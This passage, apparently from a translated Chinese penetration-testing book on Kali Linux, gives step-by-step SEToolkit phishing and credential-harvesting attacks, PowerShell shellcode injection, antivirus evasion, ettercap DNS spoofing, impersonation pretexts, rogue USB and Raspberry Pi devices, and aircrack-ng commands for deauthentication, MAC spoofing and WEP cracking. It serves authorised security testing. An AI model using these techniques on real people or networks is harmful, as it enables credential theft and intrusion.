网页模板的选项包括Java RequiredGmailGoogleFacebookTwitterYahoo。如下截图所示的Java Required页面通常很有效,因为它直接提示用户在继续之前更新重要的软件。

使用网站攻击向量 - Java 小程序攻击方法

您还可以选择克隆现有网站,比如目标公司的网站。

在做出选择后,攻击者将被提示确定是否使用端口/NAT 转发,并提供攻击机器的 IP 地址进行反向连接,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

提示

SEToolkit 对文字换行处理不佳,通常输入的响应会回卷并覆盖命令行的一部分。

在提供所需的 URL 后,SEToolkit 将开始网站克隆过程,如下截图所示。完成后,应用程序将开始生成有效载荷和支持文件(.jar存档和克隆的index.html文件)。

使用网站攻击向量 - Java 小程序攻击方法

下一阶段包括有效载荷的选择。如果隐蔽特别重要,使用选项17选择使用veil编码的可执行文件,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

选择编码选项以绕过目标系统上的本地防病毒软件;其中最有效的是第四个选项Backdoored Executable,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

该应用程序将提示输入监听端口,然后开始在受害者的计算机上生成常用端口(255380443等)的代码,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

现在是社会工程学的步骤 - 攻击者必须说服目标人员连接到监听系统的 IP 地址。如果目标进入该系统,他们将被引导到监听器上托管的克隆站点。

该网站将向目标人员显示安全警告,如下截图所示,指示需要执行应用程序才能访问该网站。

使用网站攻击向量 - Java 小程序攻击方法

如果用户选择执行该应用程序,将在他们的计算机和攻击者的计算机之间形成一个反向 shell(取决于所选的有效负载)。

所呈现的两种攻击展示了 SEToolkit 用于使用反向 shell 或类似有效载荷控制目标计算机的不同方法。攻击者可以通过多种方式扩展控制,例如使用 VNC 有效载荷或放置 RATTE。

然而,这些攻击是具有侵入性的 - 反向 shell 可能会触发防火墙的出站警报,因为它连接到攻击者的机器。更重要的是,有效载荷可能被反向工程化以识别有关攻击者的信息。

最后,攻击的目标可能不是立即妥协;相反,攻击者可能希望收集用户凭证以支持以后的攻击,或在互联网上的多个地方重复使用凭证。因此,让我们来看一下凭证收割攻击。

使用网站攻击向量 - 凭证收割者攻击方法

凭证通常是用户名和密码,可以让一个人访问网络、计算系统和数据。攻击者可以间接使用这些信息(通过登录受害者的 Gmail 帐户并发送电子邮件来促成对受害者信任连接的攻击),或直接针对用户的帐户。鉴于凭证的广泛重复使用,这种攻击尤其相关 - 用户通常在多个地方重复使用密码。

特别珍贵的是具有特权访问权限的人的凭证,例如系统管理员或数据库管理员,这可以让攻击者访问多个帐户和数据存储库。

SEToolkit 的凭证收割攻击使用克隆站点来收集凭证。

要发动这种攻击,从主菜单中选择网站攻击向量,然后选择凭证收割者攻击方法。在这个例子中,我们将按照菜单选择来克隆一个网站,比如 Facebook。

再次,目标 IP 地址必须发送给预定目标。当目标点击链接或输入 IP 地址时,他们将看到一个类似于 Facebook 常规登录页面的克隆页面,并被提示输入他们的用户名和密码。

完成后,用户将被重定向到常规的 Facebook 网站,在那里他们将登录到他们的帐户。

在后台,他们的访问凭证将被收集并转发给攻击者。他们将在监听窗口中看到以下条目:

使用网站攻击向量 - 凭证收割者攻击方法

当攻击者收集完凭证后,输入CTRL + C 将在/SET/reports目录中以 XML 和 HTML 格式生成两份报告。

类似的攻击选项是Web Jacking Attack。当受害者打开攻击者的链接时,他们将看到一个页面,通知他们选择的页面已经移动,如下面的屏幕截图所示:

使用网站攻击向量 - 凭证收割者攻击方法

当用户点击链接前往新位置时,他们将看到一个看起来像预期页面的克隆页面,如下面的屏幕截图所示;同样,页面将收割他们的登录凭证。

使用网站攻击向量 - 凭证收割者攻击方法

注意

请注意,URL 栏中的地址不是 Google 的有效地址;大多数用户如果能看到这个地址,就会意识到有问题。成功的利用需要攻击者准备好一个合适的借口或故事,使受害者接受异常的 URL。例如,向一个非技术经理的目标群体发送电子邮件,宣布“本地 Google 邮件站现在由 IT 托管,以减少邮件系统中的延迟”。

凭据收割攻击是评估企业网络安全的绝佳工具。要有效,组织必须首先培训所有员工如何识别和应对钓鱼攻击。大约两周后,发送一封包含一些明显错误(公司 CEO 的错误姓名或包含错误地址的地址块)和一个收集凭据的程序链接的公司范围内的电子邮件。计算回复其凭据的收件人的百分比,然后调整培训计划以减少这一百分比。

使用网站攻击向量 - Tabnabbing 攻击方法

Tabnabbing 通过在浏览器的一个打开标签中加载一个假页面来利用用户的信任。通过冒充 Gmail、Facebook 或任何其他发布数据的网站的页面(通常是用户名和密码),Tabnabbing 攻击可以收集受害者的凭据。社会工程工具包调用了我们之前描述的凭据收割攻击。

要发动这次攻击,从控制台提示中启动社会工程工具包,然后选择1) 社会工程攻击。在下一个菜单中,选择2) 网站攻击向量。通过选择4) Tabnabbing 攻击方法来发动 Tabnabbing 攻击。

攻击发动时,您将被提示三个选项来生成用于收集凭据的假网站。攻击者可以允许setoolkit导入预定义的网站应用程序列表,克隆网站(如 Gmail),或导入他们自己的网站。在这个例子中,我们将选择2) 网站克隆器

这将提示攻击者输入服务器将 POST 到的 IP 地址;这通常是攻击者系统的 IP 地址。然后攻击者将被提示输入要克隆的网站的 URL。在下图中,选择了 Gmail 的网站。

然后攻击者必须利用社会工程学来迫使受害者访问用于回传操作的 IP 地址(例如,URL 缩短)。受害者将收到一个网站正在加载的消息(因为攻击脚本在浏览器的不同标签中加载克隆的网站,如下图所示):

使用网站攻击向量 - Tabnabbing 攻击方法

然后目标将被呈现出假页面(假 IP 地址仍然可见)。如果用户输入他们的用户名和密码,数据将被发布到攻击者系统上的监听器。如下图所示,它已经捕获了用户名和密码。

使用网站攻击向量 - Tabnabbing 攻击方法

使用网站攻击向量 - 多重攻击 Web 方法

网站攻击向量的“hail Mary”攻击是多重攻击 Web 方法,允许攻击者一次实施多种不同的攻击。默认情况下,所有攻击都被禁用,攻击者选择要针对受害者运行的攻击,如下图所示:

使用网站攻击向量 - 多重攻击 Web 方法

如果您不确定哪些攻击对目标组织有效,这是一个有效的选择;选择一个员工,确定成功的攻击,然后对其他员工重复使用这些攻击。

使用 PowerShell 字母数字 shellcode 注入攻击

社会工程工具包还包括基于 PowerShell 的更有效攻击,这在发布 Microsoft Vista 后的所有 Microsoft 操作系统上都可用。因为 PowerShell shellcode 可以轻松注入到目标的物理内存中,使用这个向量的攻击不会触发反病毒警报。

要使用setoolkit发动 PowerShell 注入攻击,从主菜单中选择1) 社会工程攻击。然后从下一个菜单中选择10) Powershell 攻击向量

这将给攻击者四种攻击类型的选择;在这个例子中,选择1来调用PowerShell 字母数字 shellcode 注入器

这将设置攻击参数,并提示攻击者输入载荷监听器的 IP 地址,通常是攻击者的 IP 地址。输入后,程序将创建利用代码并启动本地监听器。

启动攻击的 PowerShell shellcode 存储在/root/.set/reports/powershell/x86_powershell_injection.txt中。

当攻击者说服受害者在命令提示符上复制x86_powershell_injection.txt的内容,并执行代码时,社会工程攻击的一部分就发生了,如下截图所示。

使用 PowerShell 字母数字 shellcode 注入攻击

如下截图所示,执行 shellcode 并没有在目标系统上触发反病毒警报。相反,当代码执行时,它在攻击系统上打开了一个 meterpreter 会话,并允许攻击者与远程系统建立交互式 shell。

使用 PowerShell 字母数字 shellcode 注入攻击

隐藏可执行文件并混淆攻击者的 URL

如前面的例子所示,发动社会工程攻击的成功有两个关键。第一个是获取使其生效所需的信息——用户名、业务信息以及有关网络、系统和应用程序的支持细节。

然而,大部分工作重点放在第二个方面上——精心设计攻击,诱使目标打开可执行文件或点击链接。

几种攻击会生成需要受害者执行才能成功的模块。不幸的是,用户越来越警惕执行未知软件。然而,有一些方法可以增加攻击成功执行的可能性,包括以下方法:

  • 从受害者已知和信任的系统发起攻击,或者欺骗攻击源。如果攻击似乎来自帮助台或 IT 支持,并声称是“紧急软件更新”,那么它很可能会被执行。

  • 将可执行文件重命名为类似于受信任软件的名称,比如“Java 更新”。

  • 将恶意载荷嵌入到诸如 PDF 文件之类的良性文件中,使用 Metasploit 的adobe_pdf_embedded_exe_nojs攻击之类的攻击。可执行文件也可以绑定到 Microsoft Office 文件、MSI 安装文件或配置为在桌面上静默运行的 BAT 文件。

  • 让用户点击一个链接,下载恶意可执行文件。

由于 SEToolkit 使用攻击者的 URL 作为其攻击的目的地,关键的成功因素是确保攻击者的 URL 对受害者是可信的。有几种技术可以实现这一点,包括以下方法:

  • 使用像goo.gltinyurl.com这样的服务缩短 URL。缩短的 URL 在 Twitter 等社交媒体中很常见,受害者很少在点击此类链接时采取预防措施。

  • 在社交媒体网站上输入链接,如 Facebook 或 LinkedIn;该网站将创建自己的链接来替换你的链接,并附上目标页面的图片。然后,删除你输入的链接,只留下新的社交媒体链接。

  • 在 LinkedIn 或 Facebook 上创建一个假的网页——作为攻击者,你控制内容,并可以创建一个引人注目的故事,驱使成员点击链接或下载可执行文件。一个精心设计的页面不仅会针对员工,还会针对供应商、合作伙伴和他们的客户,最大程度地提高社会工程攻击的成功率。

  • 将链接嵌入到诸如 PowerPoint 之类的文件中。

要在 PowerPoint 中嵌入链接,启动它并将扩展名保存为.pps,创建一个幻灯片放映。给演示文稿一个对目标人感兴趣的标题,并创建一些通用内容文件。在首页,插入一个文本框,并将框拖动到覆盖该幻灯片的整个表面。单击插入,然后选择操作选项卡。在对话框中,单击超链接单选按钮,然后从下拉菜单中选择URL。输入用于发动攻击的 URL,如下面的屏幕截图所示:

隐藏可执行文件和混淆攻击者的 URL

文件打开后,它将作为全屏幻灯片放映。因为攻击是通过鼠标悬停启动的,用户在尝试关闭文档时将启动攻击。

使用 DNS 重定向升级攻击

如果攻击者或渗透测试人员已经攻破了内部网络上的主机,他们可以使用 DNS 重定向来升级攻击。这通常被认为是一种水平攻击(它会危害大致具有相同访问权限的人);但是,如果捕获了特权人员的凭据,它也可以垂直升级。

在这个例子中,我们将使用 ettercap 作为交换式局域网的嗅探器、拦截器和记录器。它促进了中间人攻击,但我们将使用它来发动 DNS 重定向攻击,将用户转移到我们用于社会工程攻击的网站。

要启动攻击,我们必须首先修改位于/etc/ettercap/etter.dns的 ettercap 配置文件,将查询重定向到我们的恶意站点。在配置文件中找到使用 Microsoft 站点的示例;复制相同的细节以将目标站点请求重定向到恶意 IP 地址,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

通过在命令提示符下键入ettercap –G以图形模式启动 ettercap。从嗅探选项卡中,从下拉菜单中选择统一嗅探,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

在提示选择网络接口时,选择内部网络的eth0(如您所见,ettercap 还将在选择不同接口时支持无线攻击)。您会看到选项卡式菜单发生变化,给您更多选项。

主机选项卡中,从下拉菜单中选择扫描主机。它将进行快速扫描,然后报告“x 个主机已添加到主机列表”。从主机选项卡中,选择主机列表以查看可能的目标系统列表,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

突出显示您希望定位的已识别系统(例如,位于交换式局域网相同段上的所有主机),并选择添加到目标 1选项卡。

完成后,选择插件选项卡,这将为您提供可供使用的 ettercap 插件列表。选择ec_dns_spoof.so插件,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

要发动攻击,选择Mitm选项卡,并从下拉菜单中选择ARP 欺骗,如下面的屏幕截图所示。ettercap 将在所选系统上毒化地址解析协议表或缓存。

使用 DNS 重定向升级攻击

当选择 ARP 欺骗时,将提供可选参数。选择嗅探远程连接的参数。然后,转到开始选项卡,并选择开始统一嗅探。

当任何一个被攻击的系统上的用户尝试访问 Facebook 时,他们的缓存表将无法为他们提供互联网上的位置。Ettercap 将把他们的查找重定向到你在配置文件中提供的 URL,并且用户将被引导到攻击者准备的敌对网页,并且将受到诸如凭证窃取之类的攻击。

在任何时候,被攻击的人都会在他们的浏览器窗口中看到一个明显正确的 URL。

DNS 重定向可以用于促进依赖用户点击 URL 链接发起攻击的所有攻击,并且这适用于有线和无线网络。

物理接触和敌对设备

Kali 和 SEToolkit 还可以促进攻击,入侵者直接物理接触系统和网络。这可能是一种风险攻击,因为入侵者可能会被警觉的人发现,或者被监视设备抓住。然而,奖励可能是巨大的,因为入侵者可以 compromise 具有有价值数据的特定系统。

物理接触通常是社会工程学的直接结果,特别是在使用冒充的情况下。常见的冒充包括以下内容:

  • 一个声称来自帮助台或 IT 支持的人,只需要快速打断受害者安装系统升级。

  • 一个供应商去拜访客户,然后借口去和其他人交谈或去洗手间。

  • 一个送货员送货。攻击者可以选择在网上购买送货员制服;然而,由于大多数人认为任何穿着全身棕色并推着装满箱子的手推车的人都是 UPS 的送货员,制服很少是社会工程学的必要条件!

  • 穿着工作服的工匠,携带着他们打印出来的“工作订单”,通常被允许进入布线间和其他区域,特别是当他们声称是应建筑经理的要求而在场时。

  • 穿着昂贵的西装,携带剪贴板,走得很快——员工会认为你是一个不认识的经理。在进行这种类型的渗透时,我们通常会告诉人们我们是审计员,我们的检查很少受到质疑。

敌对物理接触的目标是迅速损害选定的系统;这通常是通过在目标上安装后门或类似设备来实现的。

经典攻击之一是将 CD-ROM、DVD 或 USB 键放入系统中,并让系统使用自动播放选项安装它;然而,许多组织在整个网络上禁用了自动播放。

攻击者还可以创建“有毒诱饵”陷阱——包含邀请人点击文件并检查其内容的文件的移动设备。一些例子包括以下内容:

  • USB 键带有标签,如员工工资或医疗保险更新。

  • Metasploit 允许攻击者将一个有效载荷(如反向 shell)绑定到一个可执行文件,如屏幕保护程序。攻击者可以使用公开可用的公司图像创建一个屏幕保护程序,并将 CD 邮寄给员工,带有新的认可的屏幕保护程序。当用户安装该程序时,后门也被安装,并连接到攻击者。

  • 如果你知道员工最近参加了一个会议,攻击者可以冒充出席的供应商,并发送给目标一封暗示这是供应商展会后续的信件。一个典型的消息将是,“如果你错过了我们的产品演示和一年免费试用,请通过点击 start.exe 查看附加的 USB 键上的幻灯片展示”。

一个有趣的变种是 SanDisk U3 USB 键,或者 Smart Drive。U3 键预装了启动软件,当插入时自动允许键直接向主机计算机写入文件或注册表信息,以帮助启动批准的程序。u3-pwn工具(Kali Linux | 维持访问 | 操作系统后门 | u3-pwn)从 SanDisk U3 中删除原始 ISO 文件,并用敌意的 Metasploit 有效负载替换,然后对其进行编码,以避免在目标系统上被检测到。

不幸的是,对这些 USB 设备的支持正在减少,它们仍然容易受到与其他 Metasploit 有效负载相同程度的检测。

一个新兴的选择是使用 Teensy——一个小型集成电路设备,插入 Windows 系统后会注册为 USB 键盘。这使得它可以绕过禁用自动运行或使用客户端反病毒软件的系统。Teensy 可以在亚马逊上购买,价格大约为 20 到 25 美元。

setoolkit生成了 Teensy 所需的代码,将其转变为攻击向量,如下图所示:

物理访问和敌意设备

配置为敌意代理的 Teensy 非常强大;在对企业客户进行渗透测试时,我们的测试人员已经证明了至少有百分之百的机会能够感染每个被测试网络上的至少一个系统!

不幸的是,这些设备存在一个重大限制——它们只能执行它们被编程执行的任务,攻击者或渗透测试人员在发现后的利用能力有限。

为了弥补这一不足,攻击者现在正在使用微型计算机,比如树莓派,作为攻击向量。

树莓派攻击向量

树莓派是一台微型计算机——大约尺寸为 8.5 厘米 X5.5 厘米,但它装有 512MB 的 RAM,两个 USB 端口和一个由 ARM 处理器运行的 700MHz 的以 Broadcom 芯片支持的以太网端口(可以超频到 1GHz)。它不包括硬盘,而是使用 SD 卡进行数据存储。如下图所示,树莓派大约是笔的三分之二长度;它很容易隐藏在网络中(在工作站或服务器后面,放在服务器柜内,或者隐藏在数据中心的地板板下)。

树莓派攻击向量

要将树莓派配置为攻击向量,需要以下物品:

  • 树莓派 B 型,或更新版本

  • 一个 HDMI 电缆

  • 一个 Micro USB 电缆和充电块

  • 一个以太网电缆或迷你无线适配器

  • 一张至少 8GB 的 SD 卡,Class 10

所有这些物品通常可以在线购买,总价不到 100 美元。

要配置树莓派,下载最新版本的 Kali Linux ARM 版,并从源存档中提取。如果你是从基于 Windows 的桌面配置的,那么下载并提取 Win32DiskImager(sourceforge.net/projects/win32diskimager/)。

使用读卡器,将 SD 卡连接到基于 Windows 的计算机,并打开Win32DiskImager。选择 Kali 的 ARM 版本,kali-custom-rpi.img,该版本已经下载并提取,然后将其写入 SD 卡。这将需要一些时间。

从 Mac 或 Linux 系统刷写 SD 卡的单独说明可在 Kali 网站上找到。

将新刷好的 SD 卡插入树莓派,并将以太网电缆或无线适配器连接到 Windows 工作站,HDMI 电缆连接到显示器,Micro USB 电源线连接到电源。供电后,它将直接启动 Kali Linux。树莓派依赖外部电源,没有单独的开关;但是,Kali 仍然可以通过命令行关闭。

安装 Kali 后,确保使用 apt-get 命令进行更新。

确保尽快更改 SSH 主机密钥,因为所有的树莓派镜像都有相同的密钥。使用以下命令:

root@kali:~rm /etc/ssh/ssh_host_*
root@kali:~dpkg-reconfigure openssh-server
root@kali:~ service ssh restart

同时,确保更改默认用户名和密码。

下一步是配置树莓派定期连接回攻击者的计算机(使用静态 IP 地址或动态 DNS 寻址服务)使用cron

然后,攻击者必须亲自进入目标的场所,并将树莓派连接到网络。大多数网络会自动分配设备一个 DHCP 地址,并且对这种类型的攻击有限的控制。

一旦树莓派连接回攻击者的 IP 地址,攻击者可以从远程位置使用 SSH 发出命令,对受害者的内部网络进行侦察和利用应用程序。

如果连接了无线适配器,比如 EW-7811Un,150 Mbps 无线 802.11b/g/n 纳米 USB 适配器,攻击者可以无线连接,或者使用树莓派发动无线攻击(第八章,利用无线通信)。

摘要

社会工程学是一种黑客人类的方法-利用人的天生信任和乐于助人的特点来攻击网络及其设备。

在本章中,我们研究了社会工程如何被用来促进旨在收集网络凭证、激活恶意软件或协助发动进一步攻击的攻击。大多数攻击依赖于社会工程工具包;然而,Kali 还有其他几个应用程序,可以使用社会工程学方法进行改进。我们还研究了如何利用物理访问,通常与社会工程学结合使用,来在目标网络上放置敌对设备。

在下一章中,我们将研究如何对无线网络进行侦察,并攻击开放网络以及受到基于 WEP、WPA 和 WPA2 加密方案保护的网络。我们还将研究无线协议的一般弱点,使其容易受到拒绝服务攻击和冒充攻击的影响。

第八章:利用无线通信

随着移动设备的主导地位和提供即时网络连接的需求,无线网络已成为通往互联网的无处不在的接入点。不幸的是,无线访问的便利性伴随着有效攻击的增加,导致访问和数据的窃取,以及网络资源的拒绝服务。Kali 提供了几个工具来配置和发动这些无线攻击,使组织能够提高安全性。

在本章中,我们将研究几个日常维护任务和无线攻击,包括:

  • 配置 Kali 进行无线攻击

  • 无线侦察

  • 绕过 MAC 地址认证

  • 破解 WEP 加密

  • 攻击 WPA 和 WPA2

  • 无线攻击和社会工程学-克隆接入点

  • 拦截通信-中间人无线攻击

  • 中间人无线攻击

  • 拒绝服务(DoS)攻击无线通信

配置 Kali 进行无线攻击

Kali Linux 发布了几个工具,以便测试无线网络;然而,这些攻击需要进行广泛的配置才能发挥完整的效果。此外,测试人员在实施攻击或审计无线网络之前,应该具备扎实的无线网络背景。

无线安全测试中最重要的工具是无线适配器,它连接到无线接入点。它必须支持所使用的工具,特别是aircrack-ng套件工具;特别是,适配器的芯片组和驱动程序必须具有将无线数据包注入通信流的能力。这是对需要将特定数据包类型注入到目标和受害者之间的流量中的攻击的要求。注入的数据包可以导致拒绝服务,使攻击者能够捕获破解加密密钥或支持其他无线攻击所需的握手数据。

aircrack-ng网站(www.aircrack-ng.org)包含已知兼容的无线适配器列表。

可以与 Kali 一起使用的最可靠的适配器是 ALFA NETWORK 卡,特别是AWUS036NH适配器,它支持无线 802.11 b、g 和 n 协议。Alfa 卡在网上很容易获得,并将支持使用 Kali 进行的所有测试和攻击。

无线侦察

进行无线攻击的第一步是进行侦察——这将确定确切的目标接入点,并突出显示可能影响测试的其他无线网络。

如果您使用 USB 连接的无线网卡连接到 Kali 虚拟机,请确保 USB 连接已从主机操作系统断开,并通过单击 USB 连接图标将其连接到 VM,该图标在以下截图中由箭头表示:

无线侦察

接下来,通过从命令行运行iwconfig来确定可用的无线接口,如下截图所示:

无线侦察

对于某些攻击,您可能希望增加适配器的功率输出。如果您与合法的无线接入点共处,并且希望目标连接到您控制的虚假接入点而不是合法接入点,则这是非常有用的。这些虚假的,或流氓,接入点允许攻击者拦截数据并根据需要查看或更改数据以支持攻击。攻击者经常会复制或克隆一个合法的无线站点,然后增加其传输功率以吸引受害者。要增加功率,使用以下命令:

kali@linux:~# iwconfig wlan0 txpower 30

许多攻击将使用aircrack-ng及其相关工具进行。首先,我们需要能够拦截或监视无线传输;因此,我们需要使用airmon-ng命令将 Kali 通信接口设置为监视模式

kali@linux:~# airmon-ng start wlan0

执行上一个命令的结果显示在以下截图中:

无线侦察

请注意,返回的描述表明有一些进程可能会引起麻烦。处理这些进程的最有效方法是使用全面的 kill 命令,如下所示:

root@kali:~# airmon-ng check kill

要查看本地无线环境,请使用以下命令:

root@kali:~# airodump-ng mon0

上一个命令列出了可以在特定时间点内在无线适配器范围内找到的所有已识别的网络。它提供了网络上无线节点的 BSSID,由 MAC 地址标识,相对输出功率的指示,发送的数据包信息,包括使用的信道的带宽信息,以及数据,加密使用的信息,以及 ESSID,提供了无线网络的名称。此信息显示在以下截图中;非必要的 ESSID 已被模糊处理:

无线侦察

airodump命令循环遍历可用的无线信道,并识别以下内容:

  • 基本服务集标识符(BSSID),这是唯一的 MAC 地址,用于识别无线接入点或路由器。

  • 每个网络的PWR或功率。虽然airodump-ng错误地显示功率为负,但这是一种报告工件。要获得正确的正值,请访问终端并运行airdriver-ng unload 36,然后运行airdriver-ng load 35

  • CH显示正在使用的信道。

  • ENC显示正在使用的加密——如果没有使用加密,则为OPN或开放,如果使用了加密,则为WEPWPA/WPA2CIPHERAUTH提供额外的加密信息。

  • 扩展服务集标识符(ESSID)是由共享相同 SSID 或名称的接入点组成的无线网络的通用名称。

在终端窗口的下部,您将看到试图连接或已连接到无线网络的站点。

在我们可以与任何这些(潜在的)目标网络进行交互之前,我们必须确认我们的无线适配器是否能够进行数据包注入。为此,请从终端 shell 提示符运行以下命令:

root@kali:~# aireplay-ng -9 mon0

上一个命令的执行显示在以下截图中。这里的-9表示注入测试。

无线侦察

Kismet

无线侦察最重要的工具之一是 Kismet,这是一个 802.11 无线侦测器、嗅探器和入侵检测系统。

Kismet 可用于收集以下信息:

  • 无线网络的名称,ESSID

  • 无线网络的信道

  • 接入点的 MAC 地址,BSSID

  • 无线客户端的 MAC 地址

它还可以用于嗅探 802.11a、802.11b、802.11g 和 802.11n 无线流量的数据。Kismet 还支持插件,允许它嗅探其他无线协议。

要启动 Kismet,请在终端窗口的命令提示符中输入kismet

启动 Kismet 时,您将面临一系列问题,这些问题将允许您在启动过程中对其进行配置。回答“是”以“您能看到颜色”,接受“Kismet 正在以 root 身份运行”,并选择“是”以“启动 Kismet 服务器”。在 Kismet 启动选项中,取消选中“显示控制台”,因为它会遮挡屏幕。允许 Kismet 启动。

您将被提示添加一个捕获接口;通常会选择wlan0

Kismet 然后将开始嗅探数据包,并收集有关所有位于附近物理邻域的无线系统的信息。

Kismet

通过双击选择一个网络,将带您进入一个网络视图,提供有关无线网络的其他信息。

您还可以深入了解连接到各种无线网络的特定客户端。

使用 Kismet 作为初始侦察工具来启动一些特定的攻击(如嗅探传输数据)或识别网络。因为它 passively 收集连接数据,所以它是一个用于识别隐藏网络的优秀工具,特别是当 SSID 没有公开传输时。

绕过隐藏的服务集标识符

ESSID 是唯一标识无线局域网的字符序列。隐藏 ESSID 是一种试图通过“安全性通过混淆”来实现安全性的不良方法;不幸的是,ESSID 可以通过以下方式获得:

  • 嗅探无线环境并等待客户端关联到网络,然后捕获该关联

  • 主动去认证客户端以强制客户端关联,然后捕获该关联

aircrack工具特别适合捕获解除隐藏 ESSID 所需的数据,如以下步骤所示:

  1. 在命令提示符下,通过输入以下命令确认攻击系统上已启用无线功能:
root@kali:~# airmon-ng

  1. 接下来,使用以下ifconfig命令来查看可用的接口,并确定您的无线系统使用的确切名称:
root@kali:~# ifconfig

  1. 通过输入以下内容启用您的无线接口(您可能需要用前一步骤中识别的可用无线接口替换wlan0):
root@kali:~# airmon-ng start wlan0

  1. 如果您使用ifconfig重新确认,您将看到现在正在使用监视或mon0地址。现在,使用airodump确认可用的无线网络,如以下命令所示:
root@kali:~# airodump-ng mon0

绕过隐藏的服务集标识

正如您所看到的,第一个网络的 ESSID 只被标识为<length: 9>。没有使用其他名称或标识。隐藏的 ESSID 的长度被确定为由九个字符组成;然而,这个值可能不正确,因为 ESSID 是隐藏的。真正的 ESSID 长度可能比九个字符短或长。

重要的是可能有客户端连接到这个特定的网络。如果有客户端存在,我们将去认证客户端,迫使他们在重新连接到接入点时发送 ESSID。

重新运行airodump,并过滤出除目标接入点以外的所有内容。在这种特殊情况下,我们将专注于使用以下命令从第六信道的隐藏网络收集数据:

root@kali:~# airodump-ng -c 6 mon0

执行该命令会删除来自多个无线源的输出,并允许攻击者专注于目标 ESSID,如以下屏幕截图所示:

绕过隐藏的服务集标识

执行airodump命令时得到的数据表明,有一个站点(00:0E:2E:CF:8C:7C)连接到 BSSID(00:18:39:D5:5D:61),后者又与隐藏的 ESSID 相关联。

要捕获 ESSID 在传输时,我们必须创建一个条件,在这种条件下我们知道它将被发送——在客户端和接入点之间的连接的初始阶段。

因此,我们将向客户端和接入点发动去认证攻击,发送一系列数据包,打破它们之间的连接,迫使它们重新认证。

要发动攻击,打开一个新的命令窗口,并输入以下屏幕截图中显示的命令(0表示我们正在发动去认证攻击,10表示我们将发送 10 个去认证数据包,-a是目标接入点,c是客户端的 MAC 地址):

绕过隐藏的服务集标识

在发送所有去认证数据包后,返回到监视第六信道上的网络连接的原始窗口,如以下屏幕截图所示。您现在将清楚地看到 ESSID。

绕过隐藏的服务集标识

知道 ESSID 有助于攻击者确认他们正在专注于正确的网络(因为大多数 ESSID 都基于公司身份)并促进登录过程。

绕过 MAC 地址认证

媒体访问控制MAC)地址在网络中唯一标识每个节点。它采用六对十六进制数字(0 到 9 和字母 A 到 F)的形式,由冒号或破折号分隔,通常看起来像这样:00:50:56:C0:00:01

MAC 地址通常与网络适配器或具有网络功能的设备相关联;因此,它经常被称为物理地址。

MAC 地址中的前三对数字称为组织唯一标识符,它们用于识别制造或销售设备的公司。最后三对数字是特定于设备的,并且可以被视为序列号

因为 MAC 地址是唯一的,它可以用来将用户与特定网络关联起来,特别是无线网络。这有两个重要的含义——它可以用来识别黑客或试图访问网络的合法网络测试人员,并且可以用作认证个人并授予他们对网络的访问权限的手段。

在渗透测试期间,测试人员可能希望对网络保持匿名。支持匿名配置的一种方法是更改攻击系统的 MAC 地址。

这可以通过使用ifconfig命令手动完成。要确定现有的 MAC 地址,请从命令行运行以下命令:

root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 | grep HW

手动更改 IP 地址,请使用以下命令:

root@kali:~# ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
root@kali:~# ifconfig wlan0 up

用不同的十六进制对替换“xx”表达式。这个命令将允许我们将攻击系统的 MAC 地址更改为受害者网络接受的 MAC 地址之一。攻击者必须确保 MAC 地址在网络上尚未被使用,否则重复的 MAC 地址可能会在网络被监视时触发警报。

注意

在更改 MAC 地址之前,无线接口必须被关闭。

Kali 还允许使用自动化工具macchanger。要将攻击者的 MAC 地址更改为由同一供应商生产的产品的 MAC 地址,请在终端窗口中使用以下macchanger命令:

root@kali:~# macchanger wlan0 -e

要将现有的 MAC 地址更改为完全随机的 MAC 地址,请使用以下命令:

root@kali:~# macchanger wlan0 -r

绕过 MAC 地址认证

一些攻击者使用自动化脚本在测试期间频繁更改 MAC 地址,以匿名化他们的活动。

许多组织,特别是大型学术团体,如学院和大学,使用 MAC 地址过滤来控制谁可以访问他们的无线网络资源。MAC 地址过滤使用网络卡上的唯一 MAC 地址来控制对网络资源的访问;在典型的配置中,组织维护一个 MAC 地址的白名单,允许访问网络的 MAC 地址。如果传入的 MAC 地址不在批准的访问列表上,它将被限制连接到网络。

不幸的是,MAC 地址信息是明文传输的。攻击者可以使用airodump收集一系列被接受的 MAC 地址,然后手动将他们的 MAC 地址更改为目标网络接受的地址之一。因此,这种类型的过滤几乎不提供对无线网络的真正保护。

使用加密提供了下一级别的无线网络保护。

破解 WEP 加密

无线等效隐私WEP)始于 1999 年,旨在为 802.11 无线网络提供与有线网络相媲美的保密度。在其加密实现中很快发现了多个缺陷,到 2004 年被WiFi 保护访问WPA)协议取代。

注意

WEP 至今仍在使用,特别是在无法支持新无线路由器资源需求的旧网络中。在最近对一个主要大都市中心的无线调查中,几乎 25%的加密无线网络继续使用 WEP。其中许多网络与金融公司相关。

WEP 的主要缺陷之一是在初始化向量IV)的重用中首次被发现。WEP 依赖于 RC4 加密算法,这是一种流密码——相同的加密密钥不能重复使用。IV 被引入以防止密钥重用,通过在加密数据中引入一定程度的随机性。不幸的是,24 位 IV 太短,无法防止重复;此外,同一个 IV 在传输了仅 5000 个数据包后就有 50%的概率重复。

攻击者可以窃听或拦截 WEP 加密的流量。根据可用于检查的拦截数据包数量,密钥恢复可能会很快发生。实际上,大多数 WEP 密钥可以在三分钟内恢复或破解

要使 WEP 破解起作用,您还需要了解有关目标的以下信息:

  • 无线网络的名称或 ESSID

  • 接入点的 MAC 地址,BSSID

  • 使用的无线频道

  • 无线客户端的 MAC 地址

对 WEP 的最常见攻击可以通过执行以下步骤来完成:

  1. 首先,使用以下命令识别可用的无线网络接口:
root@kali:~# airmon-ng

  1. 停止接口以更改 MAC 地址为已与目标网络关联的现有客户端正在使用的地址。您还可以在此步骤中使用macchanger。当 MAC 地址已更改时,重新启动airmon-ng。使用以下命令执行这些步骤:
root@kali:~# airmon-ng stop
root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 hw ether (mac address)
root@kali:~# airmon-ng start wlan0

使用已知和接受的 MAC 地址简化了攻击。然而,情况并非总是如此。这种攻击假设您知道 MAC 地址。相反,我们将与网络进行虚假关联。

  1. 使用以下airodump命令来定位目标无线网络:
root@kali:~# airodump-ng wlan0

